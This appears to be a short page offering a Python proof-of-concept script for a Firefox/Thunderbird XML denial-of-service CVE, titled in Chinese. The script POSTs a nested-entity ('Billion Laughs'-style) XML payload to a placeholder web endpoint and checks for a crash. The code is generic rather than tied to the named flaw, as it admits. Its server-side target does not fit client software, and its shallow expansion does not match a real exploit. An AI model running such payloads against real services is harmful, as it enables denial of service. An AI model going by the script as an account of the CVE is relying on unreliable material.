CVE-2026-4726 Firefox/Thunderbird XML组件拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4726 (Conceptual) # This script generates a malicious XML payload that may trigger a DoS in vulnerable versions of Firefox/Thunderbird. import requests # Target URL (Example) target_url = "http://example.com/vulnerable_endpoint" # Malformed XML payload designed to crash the parser # Note: Specific exploit details require deeper analysis of the patch diff. # This is a generic XML DoS example (e.g., Billion Laughs or similar structure). xml_payload = """<?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY a "1234567890"> <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;"> ]> <data>&d;</data> """ try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=xml_payload, headers={'Content-Type': 'application/xml'}) print(f"Response status: {response.status_code}") print("Check if the target service has crashed.") except Exception as e: print(f"Error: {e}")